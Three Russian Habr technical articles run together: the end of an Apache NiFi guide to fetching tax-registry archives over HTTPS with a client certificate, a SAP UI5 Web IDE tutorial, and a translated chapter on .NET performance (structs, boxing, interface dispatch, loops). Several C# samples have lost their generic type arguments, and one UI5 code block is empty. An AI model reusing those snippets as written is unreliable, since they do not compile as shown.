Для получения содержимого каталога используется процессор *InvokeHTTP*. Он выполняет GET-запрос по ссылке на каталог с вчерашней выгрузкой. В ответ процессор получает HTML-код каталога и добавляет этот HTML-код в *FlowFile* в качестве контента.
**Скриншоты процессора InvokeHTTP**
Процессор имеет следующие настройки:
*HTTPMethod* — указываем метод GET;
*Remote URL* — указываем, откуда брать URL для отправки запроса. `${fnsEgrulURL}` — значение берется из FlowFile из атрибута fnsEgrulURL;
*SSL Context Service* — необходимо настроить контроллер SSLContextService для организации защищенного соединения, т.к. доступ к ресурсу ФНС осуществляется по HTTPS. Для доступа используется ключ #PKCS12 и доверенные сертификаты.
Процессор добавляет в *FlowFile* атрибуты, содержащие параметры запроса и ответа, и контент — полученный HTML-код каталога.
### Контроллер SSLContextService
**Скриншоты контроллера SSLContextService**
В настройках котроллера *SSLContexService* необходимо указать путь и пароль к файлу ключа #PKCS12 и путь и пароль к хранилищу доверенных сертификатов, в котором размещен промежуточный сертификат, используемый при взаимодействии с ресурсом ФНС.
В качестве хранилища доверенных сертификатов использовано хранилище *cacerts* из состава JDK. В него необходимо импортировать промежуточный сертификат. Для получения промежуточного сертификата необходимо открыть страницу `https://fns.egrul.nalog.ru` в браузере, использовав ключ #PKCS12. В адресной строке нажать иконку защищенного соединения и открыть сертификат.
В цепочке сертификата необходимо выбрать сертификат *Russian DPC Tax Service* и экспортировать его в формате *.CER* в кодировке *DER*. Далее необходимо импортировать сертификат из полученного файла в хранилище *cacerts* c помощью утилиты *keytool*. Например, так:
```
C:\Program Files\Java\jdk1.8.0_121\bin> keytool -importcert -keystore "C:\Program Files\Java\jdk1.8.0_121\jre\lib\security\cacerts" -file {Путь к файлу .CER}
```
Пароль к *cacerts* по умолчанию — *changeit*.
Далее файл ключа и *cacerts* необходимо расположить там, где NiFi будет иметь к ним доступ. Например, в Persistent Volume. Соответствующие пути необходимо указать в параметрах контроллера *SSLContextService*. Там же для ключа необходимо указать тип *PKSC12*, а для *cacerts* — тип *JKS*.
Получение ссылок на файлы архивов
---------------------------------
Получение ссылок на файлы архивов выполняется процессором *GetHTMLElement*, который извлекает содержимое требуемого HTML-элемента из контента *FlowFile*-а. В данном случае нам требуется получить ссылки на ZIP-архивы.
**Фрагмент страницы с требуемыми элементами**
```
Файл
Размер
Последнее изменение
* [..
-
2020-04-05 22:00:00](https://ftp.egrul.nalog.ru/?dir=EGRUL)
* [EGRUL\_2020-04-05\_1.zip
528.78KB
2020-04-05 22:00:24](EGRUL/05.04.2020/EGRUL_2020-04-05_1.zip)
```
**Скриншоты процессора GetHTMLElement**
Параметры процессора:
*URL* — базовый URL обрабатываемой HTML-страницы;
*CSS Selector* — селектор для выбора интересующего нас элемента. `li[data-name^=EGRUL]` — элемент `li`, который содержит атрибут `data-name`, значение которого начинается с `EGRUL`;
*Output Type* — `Attribute` — данные будут извлечены из атрибута HTML-элемента;
*Destination* — `flowfile-attribute` — результат будет помещен в атрибут *FlowFile*-а (атрибут всегда называется HTMLElement);
*Attribute Name* — данный параметр описывает, какое значение должно быть получено в результате. `abs:${literal('data-href')}` — базовый URL (`abs:`) + значение атрибута `data-href` для элемента, найденного CSS-селектором.
Для каждого элемента, найденного CSS-селектором будет создан отдельный *FlowFile* с ссылкой на ZIP-архив в атрибуте *HTMLElement*.
Получение архивов
-----------------
Для скачивания архивов используется процессор *InvokeHTTP* аналогичный тому, что используется для получения HTML-кода каталога. Запрашиваемый URL берется из атрибута *HTMLElement*, в котором передается ссылка на ZIP-архив. *SSLContextService* используется тот же самый.
**Скриншоты процессора InvokeHTTP**
Процессор скачивает ZIP-архив и помещает его в *FlowFile* в качестве контента.
Распаковка архивов
------------------
Для распаковки архивов используется процессор *UnpackContent*. В параметрах процессора достаточно выбрать только тип архива — ZIP.
**Скриншоты процессора UnpackContent**
На выходе процессор создает *FlowFile* для каждого XML-файла, распакованного из ZIP-архива.
Далее...
========
Далее каждый XML требуется преобразовать в JSON. А из JSON уже в дальнейшем можно будет загрузить данные в SQL или NoSQL хранилище.
О преобразовании XML в JSON и о AVROSchema — [в следующей статье](https://habr.com/ru/post/503122/). | https://habr.com/ru/post/496900/ | null | ru | null |
# Создаём простое UI5-приложение в Web-среде разработки
Привет Хабр!
В начале мая я упомянул, что покажу процесс создания простого UI5 приложения в Web-среде разработки, которую предоставляет SAP Hana Cloud Platform (SAP HCP). Что такое UI5 в двух словах: это новая философия создания интерфейсов для приложений SAP, которые одинаково хорошо будут смотреться и на десктопе, и на любом мобильном устройстве, потому что используют HTML5 и Java. То есть мы берем данные из таблиц SAP через OData и строим на их основе привлекательные web-приложения для различных групп пользователей. Да-да, SAP действительно давно отходит от своих «квадратиш-практиш» в сторону sexy интерфейсов. На этом маркетинг заканчиваем, и перейдём непосредственно к делу.
Создаём бесплатный аккаунт на SAP HCP, функций которого будет достаточно для разработки приложений. Для этого переходим по **[этой ссылке](https://account.hana.ondemand.com/register)**.
После регистрации отобразится панель управления сервисами, предоставляемыми HANA Cloud Platform. Для входа в Web-среду разработки Web IDE откройте меню **Subscriptions** в левой части экрана.
И проверьте, что в числе ваших подписок есть приложение **webide**. Если его нет, то добавьте через **New Subscriptions**.
После того, как среда разработки появилась в списке у всех, щёлкните на **webide** в колонке **applications**. Отобразится информация о приложении, нас же больше всего будет интересовать прямая ссылка на **Web IDE**, которую добавим в закладки браузера. Да, для работы с Web IDE настоятельно рекомендуем использовать **Google Chrome**.
Мы зашли в Web IDE. Стартовая страница выглядит так, как показано на картинке ниже. Я не буду останавливаться на описании интерфейса, благо есть подробная документация (меню Help -> Documentation). Для создания приложения из уже имеющегося шаблона выберем **New Project from Template**.
Теперь немного о нашем будущем UI5-приложении. Предыстория:
1. У SAP есть продукт SAP UEM by Knoa, который собирает данные о взаимодействии с интерфейсом SAP-приложений (запуск транзакций, взаимодействие с объектами, пользовательские и системные ошибки), а также служебные данные о SAP такие как время отклика транзакции, приложения и др.
2. Все эти данные KNOA заботливо хранит в таблицах базы данных MS SQL либо Oracle.
3. Стандартное средство, которое использует KNOA для визуализации хранимой информации в виде отчётов или дашбордов, — SAP Business Objects.
4. Сотрудника службы поддержки SAP отчётность, предоставляемая KNOA, устраивает, т.к. даёт полную картину о том, как пользователи используют систему, где делают ошибки и т.п.
А руководителю Департамента ИТ стандартная отчётность кажется излишней, потому что он хочет видеть лишь отдельные, интересующие его показатели, и хочет, чтобы они отображались нормально на любом устройстве, которое может оказаться в его руках. Такая вот задачка со «звездочкой».
Вот поэтому мы и решили написать для этого небольшое UI5-приложение. Сначала определяемся, какие показатели нам нужны и сообщаем это парням, ответственным за базы данных, чтобы они настроили соответствующим образом OData-источник на БД KNOA. А сами начнём создавать приложение, используя [модель данных (.edmx) и тестовые данные](https://mdocs.sap.com/mcm/public/v1/open?shr=FtSYcgeJ_M-Gsbzu93DFMD02MO75AEvSHcjugnJ5XCM).
Выберем тип приложения **SAP Fiori Master Detail Application**, затем укажем имя будущего приложения. В этом примере назовём его тривиально **KNOA\_application**.
На следующей странице необходимо указать источник данных для приложения. Здесь всё просто:
* **Service Catalog** – в случае ссылки на источник данных (Odata), настроенный в стартовой странице консоли управления SAP HANA Cloud Platform на вкладке **Destinations**
* **Workplace** – ссылка на файл модели данных (.edmx), размещенный в рабочей области Web IDE
* **File System** — ссылка на файл модели данных (.edmx), размещенный на вашей рабочей станции
* **Service URL** – ссылка на сервис OData в Интернет
Так как у нас заготовлена модель данных, в **File System** выберите нужный .edmx файл.
На следующем шаге останется только распределить данные из модели по объектам выбранного шаблона приложения.
После нажатия на кнопку **Finish** на следующем экране откроется окно, отображающее структуру только что созданного нами приложения.
Перед тем, как продолжить работать с ним, предлагаю загрузить тестовые данные (SAP\_system.json), которые вы скачали вместе с .edmx файлом вначале. Для этого вызовите контекстное меню папки **model** и выберите **Import – Import File from System**
После загрузки файла в контекстном меню файла **metadata.xml** выберите **Edit Mock Data**.
Отобразились тестовые данные, которые будет использовать наше приложение. Теперь займемся непосредственно редактированием стандартного приложения, добавив в его представление данные по системам SAP, которые собираются с помощью KNOA. Для этого в контекстном меню файла **Detail.view.xml** выберем **Open With – Layout Editor**. Layout Editor на сегодняшний момент запускается только в браузере Google Chrome.
После того, как наш файл **Detail.view.xml** откроется в редакторе, дополнительно откроем панель **Outline**, для удобства работы с объектами интерфейса.
Используя **Outline**, найдем в иерархии объектов второй **IconTabFilter** и удалим его, т.к. на второй вкладке мы не планируем размещать данные.
Затем выделим объект **sap.m.ObjectHeader** и в его атрибутах (**sap.m.ObjectAttribute**) параметру Text вместо значения по умолчанию (i18n…) присвойте значение *Responsible: {Responsible} – {Contact}*
Теперь изменим значок вкладки на более подходящий (на наш взгляд). Для этого выделим её в диспетчере объектов (sap.m.IconTabFilter) и заменим свойство Icon, которое сейчас имеет вид *sap-icon://hint* на *sap-icon://inspection*.
Откуда взять значения? Из [библиотеки значков SAP UI5](https://sapui5.hana.ondemand.com/sdk/iconExplorer.html): просто выберите понравившийся вам значок и укажите его название в значении свойства Icon. Если вам не нравится значок **inspection**, выберите любой другой.
Теперь изменим стандартную форму, которая отображается в нашей единственной вкладке. Для этого откроем файл **Detail.view.xml** в редакторе кода.
И изменим её код, чтобы он выглядел вот так:
```
```
Теперь последний штрих: чуть изменим оформление в области выбора систем, чтобы статус отображался серым шрифтом чуть выше имени системы. Для этого откроем **Master.view.xml** с помощью **Layout Editor** и поменяем значение параметра *Intro* на *{Sys\_status}*
На этом разработка нашего самого простенького приложения завершена. Чтобы посмотреть, как оно будет работать с использованием тестовых данных вызовите контекстное меню файла **index.html** и выберите пункт **Run with Mock data**.
Если всё на предыдущих шагах было сделано верно, вы увидите простое приложение, отображающее показатели по системам SAP, их статус, а также контакты ответственных сотрудников.
Переключая размер экрана на панели инструментов в верхней части окна, можно посмотреть, как наше UI5-приложение будет адаптироваться для просмотра на различных устройствах.
Для публикации приложения в HANA Cloud Platform вызовите контекстное меню для папки UI5-приложения и выберите **Deploy -> Deploy to SAP HANA Cloud Platform**. После этого приложение станет доступно его пользователям.
На этом процесс разработки простого UI5-приложения прошу считать законченным. По сложности оно, конечно, же недалеко ушло от всем известного **Hello, World**, но более-менее представление о возможности разработки в Web IDE даёт.
**Где узнать больше про UI5 и разработку приложений?**
26 июня с 10:00 до 18:00 в SAP Labs будет проходить **бесплатный** семинар по разработке приложений с использованием SAP Mobile Platform. **[регистрация здесь](https://sap-reg.com/?event=640/)**.
Официальная программа обучения [SAP Fiori User Experience](https://training.sap.com/ru/ru/curriculum/s_4_hana_fiori-sap-fiori-user-experience-g-en) от Учебного центра SAP
На сладкое полезные бесплатные ресурсы по разработке UI5-приложений:
* [SAP Fiori Design Guidelines](http://experience.sap.com/fiori-design/)
* [Библиотека существующих Fiori-приложений](https://fioriappslibrary.hana.ondemand.com/sap/fix/externalViewer/)
* [Библиотека объектов UI5 с описанием и примерами кода](https://sapui5.hana.ondemand.com/sdk/explored.html)
* [Библиотека значков UI5](https://sapui5.hana.ondemand.com/sdk/iconExplorer.html)
* [Совершенно потрясающий курс по разработке Fiori-приложения в SAP HANA Cloud Platform](https://open.sap.com/courses/fiux1)
* [UI5 Development toolkit](https://sapui5.hana.ondemand.com/sdk) | https://habr.com/ru/post/261023/ | null | ru | null |
# Высокопроизводительный код на платформе .NET
Здравствуйте, дорогие читатели!
Не так давно мы занялись проработкой книги "[Writing High-Performance .NET code](http://www.amazon.com/Writing-High-Performance-NET-Code-Watson/dp/0990583430/)", которая до сих пор не переведена на русский язык, хотя ей и скоро год.
Нас, конечно, не удивило, что такую книгу уже растаскивают на цитаты, однако выяснилось, что уважаемый автор Бен Уотсон даже выложил на сайте «Codeproject» целую [статью](http://www.codeproject.com/Articles/812678/Performance-Considerations-of-Class-Design-and-Gen), написанную по мотивам одной из глав. К сожалению, объем этого материала слишком велик для хабропубликации, однако мы решили все-таки перевести первую часть статьи, чтобы вы могли оценить материал книги. Приглашаем к прочтению и к участию в опросе. Кроме того, если все-таки целесообразно перевести и вторую часть — пишите в комментариях, постараемся учесть ваши пожелания.
**Контекст**
Эта статья написана на основе главы 5 из моей книги Writing High-Performance .NET Code.
**Введение**
В статье рассмотрены общие принципы написания кода и дизайна типов. На платформе .NET имеются возможности для реализации разнообразных сценариев, и если некоторые из них в лучшем случае никак не отражаются на производительности, есть и такие, которые серьезно ее портят. Определенные сценарии ни хороши, ни плохи, а просто такие, каковы они есть. Приходится подбирать наиболее адекватное решение для каждой ситуации.
Если бы я попытался сформулировать общий принцип, лежащий в основе этой статьи, то он был бы таков:
***Глубокая оптимизация производительности зачастую нарушает программные абстракции.***
Это означает, что, пытаясь достичь экстремально высокой производительности, мы должны понимать детали реализации на всех уровнях и, возможно, пытаться сыграть на этих тонкостях. Многие подобные детали описаны в этой статье.
**Сравнение классов и структур**
Экземпляры класса всегда выделяются в куче, а доступ к этим экземплярам осуществляется путем разыменования указателя. Передавать их дешево, ведь речь идет всего лишь о копии указателя (4 или 8 байт). Однако у объекта также имеются некоторые фиксированные издержки: 8 байт для 32-битных процессов и 16 байт для 64-битных процессов. В эти издержки входит указатель на таблицу методов плюс поле блока синхронизации. Если создать объект без полей и просмотреть его в отладчике, то окажется, что на самом деле его размер составляет не 8, а 12 байт. В случае с 64-битными процессами объект будет иметь размер 24 байт. Дело в том, что минимальный размер зависит от выравнивания блоков памяти. К счастью, эти «лишние» 4 байт будут использоваться полем.
Структура *struct* не влечет издержек, а размер используемой ею памяти — это сумма размеров всех ее полей. Если *struct* объявляется как локальная переменная в методе, то *struct* выделяется в стеке. Если *struct* объявляется как часть класса, то память *struct* будет входить в состав фрагмента памяти, занимаемого этим классом (и, следовательно, находиться в куче). Если передать структуру *struct* методу, то она будет последовательно скопирована байт за байтом. Поскольку она не находится в куче, выделение структуры никогда не инициирует сборку мусора.
Следовательно, здесь приходится идти на компромисс. Вы можете встретить различные рекомендации о максимальном размере структуры, но я бы не привязывался к конкретному числу. Как правило, размер *struct* лучше держать очень небольшим, особенно если эта структура передается туда-сюда, однако структуры можно передавать и по ссылке, поэтому ее размер может не представлять существенной проблемы. Единственный способ уверенно определить, полезен ли будет такой прием — внимательно присмотреться к паттерну использования и самостоятельно выполнить профилирование.
В некоторых ситуациях эффективность может разительно отличаться. Пусть величина издержек на отдельно взятый объект и кажется мизерной, но попробуйте рассмотреть массив объектов, а потом сравните его с массивом структур. Предположим, в структуре данных содержится 16 байт данных, длина массива равна 1 000 000, и мы работаем в 32-разрядной системе.
Для массива объектов общий расход пространства составляет:
12 байт издержек массива +
(размер указателя 4 байт × 1,000,000) +
(( издержки 8 байт + 16 байт данных) × 1,000,000)
= 28 MB
Для массива структур получаем принципиально иной результат:
12 байт издержек массива +
(16 байт данных × 1,000,000)
= 16 MB
В случае с 64-битным процессом массив объектов занимает более 40 MB, тогда как массив *struct* требует всего 16 MB.
Как видите, в массиве *struct* аналогичный объем данных занимает меньше памяти, чем в массиве объектов. Вместе с издержками, связанными с использованием объектов, вы также получаете более интенсивную сборку мусора, что объясняется более высокой нагрузкой на память.
Кроме использования пространства есть еще и вопрос эффективности процессора. Процессор имеет несколько уровней кэширования. Те, что расположены ближе всего к процессору, очень невелики, но работают исключительно быстро и оптимизированы для последовательного доступа.
Массив *struct* содержит множество значений, последовательно расположенных в памяти. Обратиться к элементу в массиве struct очень просто. Как только корректная запись найдена, у нас уже есть верное значение. Таким образом, может возникать огромная разница в скорости доступа при переборе большого массива. Если значение уже находится в кэше процессора, то к нему можно обратиться на порядок быстрее, чем если оно расположено в оперативной памяти.
Для доступа к элементу объектного массива требуется обратиться к памяти массива, а затем разыменовать указатель на этот элемент, который может располагаться в любом месте кучи. Перебор объектных массивов сопряжен с разыменованием дополнительного указателя, «скачками» по куче и сравнительно частым опустошением кэша процессора, что потенциально приводит к растрате более нужных данных.
Отсутствие подобных издержек как на уровне процессора, так и в памяти — во многих случаях основная причина для предпочтения структур. При разумном использовании такой прием может дать значительный выигрыш в производительности, так как улучшается локальность памяти.
Поскольку структуры всегда копируются по значению, можно по неосторожности попасть и в более интересное положение. Например, следующий код написан с ошибками и не скомпилируется:
```
struct Point
{
public int x;
public int y;
}
public static void Main()
{
List points = new List();
points.Add(new Point() { x = 1, y = 2 });
points[0].x = 3;
}
```
Проблема возникает в последней строке, которая пытается изменить существующий *Point* в списке. Это невозможно, поскольку вызов *points[0*] возвращает копию оригинального значения, которая нигде дополнительно не сохраняется. Правильный способ изменения *Point*:
```
Point p = points[0];
p.x = 3;
points[0] = p;
```
Однако может быть целесообразно реализовать еще более строгую политику: сделать структуры неизменяемыми. После создания структура такая структура уже не сможет получить новое значение. В таком случае вышеописанная ситуация становится в принципе невозможна, вся работа со структурами упрощается.
Выше упоминалось, что структуры должны быть компактными, чтобы не пришлось тратить много времени на их копирование, но иногда приходится использовать и большие структуры. Рассмотрим объект, в котором отслеживается масса деталей о каком-либо коммерческом процессе — например, ставится множество временных меток.
```
class Order
{
public DateTime ReceivedTime {get;set;}
public DateTime AcknowledgeTime {get;set;}
public DateTime ProcessBeginTime {get;set;}
public DateTime WarehouseReceiveTime {get;set;}
public DateTime WarehouseRunnerReceiveTime {get;set;}
public DateTime WarehouseRunnerCompletionTime {get;set;}
public DateTime PackingBeginTime {get;set;}
public DateTime PackingEndTime {get;set;}
public DateTime LabelPrintTime {get;set;}
public DateTime CarrierNotifyTime {get;set;}
public DateTime ProcessEndTime {get;set;}
public DateTime EmailSentToCustomerTime {get;set;}
public DateTime CarrerPickupTime {get;set;}
// множество прочих данных ...
}
```
Чтобы упростить код, было бы неплохо выделить каждую из таких меток в собственную подструктуру, которая по-прежнему будет доступна через код класса Order следующим образом:
```
Order order = new Order();
Order.Times.ReceivedTime = DateTime.UtcNow;
```
Все эти подструктуры можно вынести в отдельный класс:
```
class OrderTimes
{
public DateTime ReceivedTime {get;set;}
public DateTime AcknowledgeTime {get;set;}
public DateTime ProcessBeginTime {get;set;}
public DateTime WarehouseReceiveTime {get;set;}
public DateTime WarehouseRunnerReceiveTime {get;set;}
public DateTime WarehouseRunnerCompletionTime {get;set;}
public DateTime PackingBeginTime {get;set;}
public DateTime PackingEndTime {get;set;}
public DateTime LabelPrintTime {get;set;}
public DateTime CarrierNotifyTime {get;set;}
public DateTime ProcessEndTime {get;set;}
public DateTime EmailSentToCustomerTime {get;set;}
public DateTime CarrerPickupTime {get;set;}
}
class Order
{
public OrderTimes Times;
}
```
Однако при этом дополнительно возникают 12 или 24 байт издержек на каждый объект *Order*.
Если вам требуется передавать различным методам объект *OrderTimes* целиком, то, возможно, такие издержки и оправданны, но почему бы просто не передать ссылку на целый объект *Order*? Если у вас одновременно обрабатываются тысячи объектов *Order*, это приведет к значительной активизации сборки мусора. Кроме того, в памяти пойдут дополнительные операции разыменования.
Попробуйте лучше сделать *OrderTimes* структурой. Обращение к отдельным свойствам структуры *OrderTimes* через свойство объекта *Order* (например, *order.Times.ReceivedTime*) не приводит к копированию структуры (в .NET этот вероятный сценарий специально оптимизирован). Таким образом, структура *OrderTimes* в сущности входит в состав участка памяти, отведенного под класс *Order*, словно здесь и нет никакой подструктуры. Сам код при этом также становится аккуратнее.
Такая техника не нарушает принципа неизменяемых структур, но весь фокус здесь заключается в следующем: мы обращаемся с полями структуры OrderTimes точно как если бы они были полями объекта Order. Если вам не требуется передавать структуру OrderTimes как цельную сущность, то предложенный механизм является чисто организационным.
**Переопределение методов Equals и GetHashCode для структур**
При работе со структурами исключительно важно переопределять методы *Equals* и *GetHashCode*. Если этого не сделать, то вы получите их версии, задаваемые по умолчанию, которые отнюдь не способствуют высокой производительности. Чтобы оценить, насколько это нехорошо, откройте просмотрщик промежуточного языка и взгляните на код метода *ValueType.Equals*. Он связан с рефлексией по всем полям структуры. Однако это оптимизация для двоично-совместимых типов. Двоично-совместимым (blittable) называется такой тип, который имеет одинаковое представление в памяти как в управляемом, так и в неуправляемом коде. К их числу относятся только примитивные числовые типы (например, *Int32*, *UInt64*, но не *Decimal*, не являющийся примитивным) и *IntPtr/UIntPtr*. Если структура состоит только из двоично-совместимых типов, то реализация Equals может фактически выполнять побайтное сравнение памяти в рамках всей структуры. Просто избегайте такой неопределенности и реализуйте собственный метод *Equals*.
Если просто переопределить *Equals(object other)*, то у вас все равно получится неоправданно низкая производительность, поскольку данный метод связан с приведением и упаковкой типов значений. Вместо этого реализуйте *Equals(T other)*, где T – тип вашей структуры. Для этого предназначен интерфейс IEquatable, и все структуры должны реализовывать его. Компилятор при работе всегда отдает предпочтение более строго типизированной версии, если это возможно. Рассмотрим пример:
```
struct Vector : IEquatable
{
public int X { get; set; }
public int Y { get; set; }
public int Z { get; set; }
public int Magnitude { get; set; }
public override bool Equals(object obj)
{
if (obj == null)
{
return false;
}
if (obj.GetType() != this.GetType())
{
return false;
}
return this.Equals((Vector)obj);
}
public bool Equals(Vector other)
{
return this.X == other.X
&& this.Y == other.Y
&& this.Z == other.Z
&& this.Magnitude == other.Magnitude;
}
public override int GetHashCode()
{
return X ^ Y ^ Z ^ Magnitude;
}
}
```
Если тип реализует интерфейс IEquatable, то обобщенные коллекции .NET его обнаружат и станут использовать для более эффективного поиска и сортировки.
Возможно, вы также решите применять операторы == и != с типами ваших значений и заставите их вызывать метод *existingEquals(T).*
Даже если вы никогда не сравниваете структуры или не помещаете их в коллекции, все-таки рекомендую реализовать эти методы. Никогда не угадаешь, как они будут использоваться в будущем, а на написание методов уйдет всего несколько минут и считанные байты промежуточного языка, которые даже никогда не потребуют динамической компиляции.
Переопределять методы *Equals* и *GetHashCode* у классов не столь важно, поскольку в данном случае они лишь вычисляют равенство, исходя из ссылки на объект. Если вы полагаете, что в вашем коде будет вполне достаточно стандартной реализации этих методов — не меняйте ее.
**Виртуальные методы и запечатанные классы**
Не делайте методы виртуальными по умолчанию «просто на всякий случай». Однако, если виртуальные методы требуются для согласованного дизайна ваших программ, то, пожалуй, не переусердствуйте с их удалением.
Если сделать методы виртуальными, это препятствует определенным оптимизациям со стороны динамического компилятора, в частности, мешает встраивать методы. Методы могут встраиваться лишь в том случае, если компилятору на 100% известно, какой метод будет вызываться. Помечая метод как виртуальный, мы теряем такую определенность, хотя, существуют и другие факторы, которые могут вынудить отказаться от такой оптимизации.
К виртуальным методам концептуально близки запечатанные классы, например:
```
public sealed class MyClass {}
```
Класс, помеченный как запечатанный, объявляет, что никакие другие классы не могут от него наследовать.
Теоретически, динамический компилятор может использовать эту информацию и более активно заниматься встраиванием, но в настоящее время этого не происходит. Как бы то ни было, следует по умолчанию объявлять классы как запечатанные и не делать методы по умолчанию виртуальными, если в этом нет необходимости. В таком случае ваш код будет приспособлен к любым актуальным оптимизациям динамического компилятора, а также к тем, которые возможны в будущем.
Если вы пишете библиотеку классов, которую предполагается использовать в разнообразных ситуациях, особенно вне вашей организации, следует действовать осторожнее. В таком случае наличие виртуального API может быть важнее голой производительности – чтобы ваша библиотека была удобна для переиспользования и настраивания. Но если код пишется для внутрикорпоративных нужд и часто меняется, старайтесь обеспечить более высокую производительность.
**Диспетчеризация интерфейсов**
Когда вы в первый раз вызываете метод через интерфейс, .NET необходимо определить, к какому типу и методу делать вызов. Сначала делается вызов к заглушке, которая находит метод, вызываемый при работе с объектом, реализующим данный интерфейс. После того, как это произойдет несколько раз, CLR “усвоит”, что все время вызывается один и тот же конкретный тип, и этот косвенный вызов через заглушку редуцируется до заглушки, состоящей всего из нескольких инструкций сборки, вызывающей нужный метод. Такая группа инструкций называется «мономорфной заглушкой», поскольку она знает, как вызывать метод лишь для одного-единственного типа. Это идеально в ситуациях, когда место вызова всегда вызывает интерфейсные методы на одном и том же типе.
Мономорфная заглушка также позволяет обнаружить, если что-то пойдет неправильно. Если в какой-то момент место вызова начнет использовать метод другого типа, то CLR в итоге заменит заглушку другой мономорфной заглушкой для нового типа.
Если ситуация еще сложнее, в нее вовлечены несколько типов, и она менее предсказуема (например, есть массив интерфейсного типа, но в этом массиве присутствуют несколько конкретных типов), то заглушка превратится в полиморфную и будет использовать хэш-таблицу, позволяющую выбирать, какой метод вызвать. Поиск по таблице быстр, но все-таки не настолько, как при работе с мономорфной заглушкой. Кроме того, размер такой хэш-таблицы строго ограничен, и если у вас слишком много типов, то, возможно, придется с самого начала откатиться к обобщенному коду поиска типов. Эта операция может оказаться очень затратной.
Если такая проблема возникнет, ее можно решить одним из двух способов:
1. 1. Избегайте вызывать эти объекты через общий интерфейс
2. 2. Выберите общий базовый интерфейс и замените его базовым классом *abstract*
Подобная проблема встречается не часто, однако она может приключиться, если у вас есть огромная иерархия типов, все они реализуют общий интерфейс, и вы вызываете методы через этот общий интерфейс. Можно заметить, что процессор работает на месте вызова этих методов столь активно, что это невозможно объяснить лишь той работой, которую делают сами методы.
**История** При проектировании большой системы мы заранее знали, что у нас, возможно, будут тысячи разных типов, и все они будут происходить от общего типа. В паре мест у нас должна была возникнуть необходимость обращаться к ним из базового типа. Поскольку в нашей команде был человек, разбиравшийся в диспетчеризации интерфейсов при решении проблем такого масштаба, мы решили использовать базовый класс abstract, а не корневой интерфейс.
Хорошая статья о диспетчеризации интерфейсов есть в блоге Ванса Моррисона.
**Избегайте упаковки**
Упаковка – это процесс обертывания значимого типа, например, примитива или структуры, в объект, находящийся в куче. В таком виде этот тип может передаваться методам, требующим ссылки на объект. Распаковка — это извлечение исходного значения.
На упаковку тратится процессорное время, необходимое на выделение, копирование и приведение объекта. Однако еще важнее, что при этом в куче активизируется сборка мусора. Если небрежно относиться к упаковке, то в программе может возникнуть множество операций выделения, и все они окажут дополнительную нагрузку на сборщик мусора.
Явная упаковка происходит всякий раз, когда выполняются подобные операции:
```
int x = 32;
object o = x;
```
Промежуточный язык здесь выглядит так:
```
IL_0001: ldc.i4.s 32
IL_0003: stloc.0
IL_0004: ldloc.0
IL_0005: box [mscorlib]System.Int32
IL_000a: stloc.1
```
Это означает, что относительно несложно найти большинство источников упаковки в вашем коде: просто воспользуйтесь ILDASM для преобразования всего вашего IL в текст и выполните поиск.
Очень распространенная ситуация, в которой возможна нерегулярная упаковка — это использование API, принимающего *object* или *object[]* в качестве параметра. Наиболее тривиальными из них являются *String.Format* или традиционные коллекции, в которых хранятся только ссылки на объекты, и работы с которыми требуется полностью избежать по той или иной причине.
Кроме того, упаковка может происходить при присваивании структуры интерфейсу, например:
```
interface INameable
{
string Name { get; set; }
}
struct Foo : INameable
{
public string Name { get; set; }
}
void TestBoxing()
{
Foo foo = new Foo() { Name = "Bar" };
// упаковка!
INameable nameable = foo;
...
}
```
Если решите протестировать этот код – обратите внимание, что если на самом деле вы не используете упакованную переменную, то компилятор в порядке оптимизации просто уберет инструкцию упаковки, поскольку она так и не задействуется. Как только вы вызовете метод или используете значение еще каким-то образом, инструкция упаковки будет на месте.
Еще одна вещь, которая происходит при упаковке и которую необходимо учитывать – результат следующего кода:
```
int val = 13;
object boxedVal = val;
val = 14;
```
Каким будет значение *boxedVal* после этого?
При упаковке значение копируется, и между оригиналом и копией не остается никакой связи. Например, значение *val* может измениться на 14, но *boxedVal* сохранит исходное значение 13.
Иногда упаковку удается отследить в профиле процессора, но многие упаковочные вызовы попросту встраиваются, и надежного способа найти их не существует. При чрезмерной упаковке вы увидите в профиле процессора лишь массовое выделение памяти при помощи *new*.
Если вам приходится активно упаковывать структуры, и вы приходите к выводу, что без этого не обойтись, то, вероятно, просто следует превратить структуру в класс, что может оказаться даже дешевле.
Наконец, обратите внимание: передача значимого типа по ссылке упаковкой не является. Посмотрите IL и убедитесь, что никакой упаковки не происходит. Адрес значимого типа отправляется методу.
**Сравнение for и foreach**
Используйте программу MeasureIt, чтобы оценить, чем отличается перебор коллекций в циклах *for* и *foreach*. Работа со стандартными циклами *for* протекает значительно быстрее практически в любых случаях. Однако если вы попробуете провести собственный простой тест, то, в зависимости от сценария, можете обнаружить, что оба цикла имеют примерно равную производительность. Действительно, во многих ситуациях .NET преобразует простые инструкции foreach в стандартные циклы for.
Рассмотрим проект *ForEachVsFor*, в котором есть следующий код:
```
int[] arr = new int[100];
for (int i = 0; i < arr.Length; i++)
{
arr[i] = i;
}
int sum = 0;
foreach (int val in arr)
{
sum += val;
}
sum = 0;
IEnumerable arrEnum = arr;
foreach (int val in arrEnum)
{
sum += val;
}
```
Собрав его, попробуйте декомпилировать этот код при помощи инструмента для рефлексии IL. Вы увидите, что первый *foreach* на самом деле компилируется как цикл *for*. Промежуточный язык будет таков:
```
// Начало цикла (head: IL_0034)
IL_0024: ldloc.s CS$6$0000
IL_0026: ldloc.s CS$7$0001
IL_0028: ldelem.i4
IL_0029: stloc.3
IL_002a: ldloc.2
IL_002b: ldloc.3
IL_002c: add
IL_002d: stloc.2
IL_002e: ldloc.s CS$7$0001
IL_0030: ldc.i4.1
IL_0031: add
IL_0032: stloc.s CS$7$0001
IL_0034: ldloc.s CS$7$0001
IL_0036: ldloc.s CS$6$0000
IL_0038: ldlen
IL_0039: conv.i4
IL_003a: blt.s IL_0024
// Конец цикла
```
Здесь много операций сохранения, загрузки, добавления и одна ветка – все довольно просто.
Однако стоит нам привести массив к IEnumerable и выполнить ту же операцию, как работа оказывается гораздо более затратной:
```
IL_0043: callvirt instance class [mscorlib]System.Collections.Generic.IEnumerator`1 class [mscorlib]System.Collections.Generic.IEnumerable`1::GetEnumerator()
IL\_0048: stloc.s CS$5$0002
.try
{
IL\_004a: br.s IL\_005a
// начало цикла (head: IL\_005a)
IL\_004c: ldloc.s CS$5$0002
IL\_004e: callvirt instance !0 class [mscorlib]System.Collections.Generic.IEnumerator`1::get\_Current()
IL\_0053: stloc.s val
IL\_0055: ldloc.2
IL\_0056: ldloc.s val
IL\_0058: add
IL\_0059: stloc.2
IL\_005a: ldloc.s CS$5$0002
